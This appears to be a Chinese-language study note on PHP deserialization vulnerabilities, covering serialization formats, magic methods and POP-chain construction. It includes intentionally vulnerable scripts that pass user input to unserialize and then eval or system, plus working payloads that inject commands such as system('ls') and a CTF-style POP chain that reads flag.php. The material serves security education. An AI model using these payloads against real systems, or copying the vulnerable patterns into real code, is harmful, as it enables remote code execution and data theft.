PHP安全

PHP反序列化

学习视频：橘子科技工作室

序列化：是将对象的状态信息转换为可以存储或传输的形式

在php中使用serialize（）来进行序列化

序列化演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class TEST {
    public $data;
    public $data2 = "dazzhuang";
    private $pass;

    public function __construct($data, $pass)
    {
        $this->data = $data;
        $this->pass = $pass;
    }
}
$number = 34;
$str = 'user';
$bool = true;
$null = NULL;
$arr = array('a' => 10, 'b' => 200);
$test = new TEST('uu', true);
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
echo serialize($number)."<br />";
echo serialize($str)."<br />";
echo serialize($bool)."<br />";
echo serialize($null)."<br />";
echo serialize($arr)."<br />";
echo serialize($test)."<br />";
echo serialize($test2)."<br />";
?>

i:34;
s:4:"user";
b:1;
N;
a:2:{s:1:"a";i:10;s:1:"b";i:200;}
O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;}
O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}

数组序列化

1
2
3
4
5
6
7
<?php
$a = array('benben','dazhuang','laoliu');
echo $a[0];
echo serialize($a);
?>

benbena:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

对象序列化

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class test{
    public $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
    
O:4:"test":1:{s:3:"pub";s:6:"benben";}

私有修饰符序列化

私有属性在序列化之后的格式

private私有属性序列化时，在变量名前加”%00类名%00”

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
class test{
    private $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
    
O:4:"test":1:{s:9:"testpub";s:6:"benben";}

为什么是testpub：
为了再还原时，能把类名还原回去，所以类名+属性名（确切来说%00+类名+%00+属性名）
为什么是9：
%00test%00pub

保护修饰符序列化

保护属性修饰符在序列化之后的格式

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class test{
    protected $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
    
O:4:"test":1:{s:6:"*pub";s:6:"benben";}

在属性名前加一个*
*pub
为什么是6：

​ %00+*+%00+pub

成员属性调用对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class test{
    var $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
    var $ben;
    function __construct(){
        $this->ben=new test();
    }
}
$a = new test2();
echo serialize($a);
?>
    
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

反序列化漏洞

  • 反序列化生成的对象里的值，由反序列化里的值提供，与原有类预定义的值无关

反序列化漏洞的成因：反序列化过程中，unserialize()接收的值（字符串）可控，通过更改这个值，得到所需要的代码，即生成的对象的属性值

  • 反序列化不改变类的成员方法，需要调用方法才能触发

例题：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;
?>
//this is test!!
get参数：benben=O:4:"test":1:{s:1:"a";s:22:"echo%20"this%20is%20test!!";";}

魔术方法

一个预定义好的，在特定情况下自动触发的行为方法

魔术方法在特定条件下自动调用相关方法，最终导致触发代码

  • 魔术方法相关机制

触发时机、功能、参数、返回值

__construct()

构造函数，在实例化一个对象时，首先会自动执行的一个执行方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数一次" ;
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
输出：
触发了构造函数一次
触发时机 功能 参数 返回值
实例化对象 提前清理不必要的内容 非必要
  • 在序列化和反序列化中不会触发

__destruct()

析构函数，在对象的所有引用被删除或者当对象被显示销毁时执行的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class User {
    public function __destruct()
    {
        echo "触发了析构函数1次"."<br/>" ;
    }
}
$test = new User("benben");//使用完触发析构函数
$ser = serialize($test);
unserialize($ser);//触发析构函数
?>
输出：
触发了析构函数1次
触发了析构函数1次

创建对象不触发析构函数，当用完对象，销毁时触发析构函数

触发时机 功能 参数 返回值
对象被引用完成或对象被销毁
  • 在序列化过程中不会触发
  • 在反序列化过程中会触发
  • 反序列化得到的是对象，用完会销毁

例题：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);
?>
    
输出：dazhuang666!!

输入：?benben=O:4:"User":1:{s:3:"cmd";s:12:"system('ls');";}

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()，如果存在，该方法会先被调用，然后才执行序列化操作。

此功能可用于清理对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
    
输出：O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

__sleep()执行返回需要序列化的变量名，过滤掉password变量

serialize()只序列化sleep返回的变量

触发时机 功能 参数 返回值
序列化serialize()之前 返回需要被序列化存储的成员属性，删除不必要的属性 成员属性 需要被序列化存储的成员属性

例题：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        system($this->username);
    }
}
$cmd = $_GET['benben'];
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>
    
输入：?benben=（windows的指令）systeminfo、netstat -na、ipconfig等

序列化函数之前会先执行sleep函数，从而执行system指令

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法，如果存在，则会先调用__wakeup()方法，预先准备对象需要的资源，返回void，常用于反序列化操作中重新建立数据库连接或执行其他初始化操作

  • __wakeup()在反序列化之前
  • __destruct()在反序列化之后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;	//反序列化之前触发wakeup，给password赋值
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';//没有password的定义的
var_dump(unserialize($user_ser));
?>
    
输出：
object(User)#1 (4) {
  ["username"]=>
  string(1) "a"
  ["nickname"]=>
  string(1) "b"
  ["password":"User":private]=>
  string(1) "a"			//反序列化结果包含password的值
  ["order":"User":private]=>
  NULL
}
触发时机 功能 参数 返回值
反序列化unserialize()之前

例题：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        system($this->username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
    
输入：
?benben=O:4:"User":1:{s:8:"username";s:8:"ipconfig";}

__toString()

表达方式错误导致魔术方法触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __toString()
         {
             return '格式不对，输出不了!';
          }
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test;
?>
    
输出：
User Object ( [benben] => this is test!! )
格式不对，输出不了!
触发时机 功能 参数 返回值
把对象当成字符串调用

__invoke()

格式表达错误导致魔术方法触发

把对象当成函数调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '他不是一个函数!';
          }
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben;
?>
    
输出：
this is test!!
他不是一个函数!
触发时机 功能 参数 返回值
把对象当成函数调用

错误调用相关魔术方法

pop链前置知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
unserialize($_GET['test']);
?>
输入：
?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:19:"system('ipconfig');";}}

分析：

构造序列化：

构造序列化：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class index {
    var $test;		//此处将private更改为public，参数才可以被外部调用

}
class evil {
    var $test2;

}

$a = new evil();
$a -> test2 = "system('ipconfig');";
$b = new index();
$b -> test = $a;
echo serialize($b);
?>
   
输出：O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:19:"system('ipconfig');";}}

输出的序列化字符串，将test参数更改为private参数的格式

1
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:19:"system('ipconfig');";}}

pop链前置知识魔术方法触发规则

魔术方法触发前提：魔术方法所在类（或对象）被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";
    }
}

$a = 'O:3:"sec":1:{s:6:"benben";N;}';
echo unserialize($a);
//反序列化的内容$a所调用的类sec()里不包含__wakeup(),故不触发
$b = $_GET['benben'];
echo unserialize($b);
构造序列化：
	?benben=O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;};}
输出：
    wakeup is here!!tostring is here!!

?>

  • echo 把反序列化生成的对象当成字符串输出触发所在类的tostring()方法

  • 反序列化触发$b所调用的类fast()里包含了wakeup()

POC构造：

POP链构造 POC编写

POP链

  • 在反序列化中，我们能控制的数据就是对象中的属性值(成员变量)，所以在PHP反序列化中有一种漏洞利用方法叫”面向属性编程”，即POP( Property Oriented Programming)。
  • POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload。

POC

  • POC(全称:Proofofconcept)中文译作概念验证。在安全界可以理解成漏洞验证程序。POC是一段不完整的程序，仅仅是为了证明提出者的观点的一段代码。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;					//-1目标：触发echo，调用$flag
    }
    public function __invoke(){
        $this->append($this->var);	//-2第一步：触发invoke，调用append，并使$var=flag.php
        							//-3invoke触发条件：把对象当函数
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){	//-7第三步：触发toString（触发条件：把对象当成字符串）
        return $this->str->source;	//-6给$str赋值为对象Test，而Test中不存在成员属性source										触发Test里的成员方法get
    }
    public function __wakeup(){		//-9最终步：触发wakeup（触发条件：反序列化unserialize）
        echo $this->source;			//-8给$source赋值为对象Show，对象当成字符串被echo调用，                                       触发toString
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){	//-5第二步：触发get（触发条件：调用不存在的成员属性）
        $function = $this->p;		//-4给$p赋值为对象，即function被赋值后为对象，却被当成函
        return $function();			//数调用，触发Modifier中的invoke
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>
    
输入：
    ?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}s
输出：
    ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

构造POC：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
//flag is in flag.php
class Modifier {
    private $var = 'flag.php';
}

class Show{
    public $source;
    public $str;
   
}

class Test{
    public $p;
   
}

$mod = new Modifier();
$test = new Test();
$test -> p = $mod;
$show = new Show();
$show -> str = $test;
$show -> source = $show;

echo serialize($show);
?>
    
输出：
    O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"Modifiervar";s:8:"flag.php";}}}
因为出现了private的修饰符，所以手动更改一下得到
    O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

字符串逃逸基础-字符减少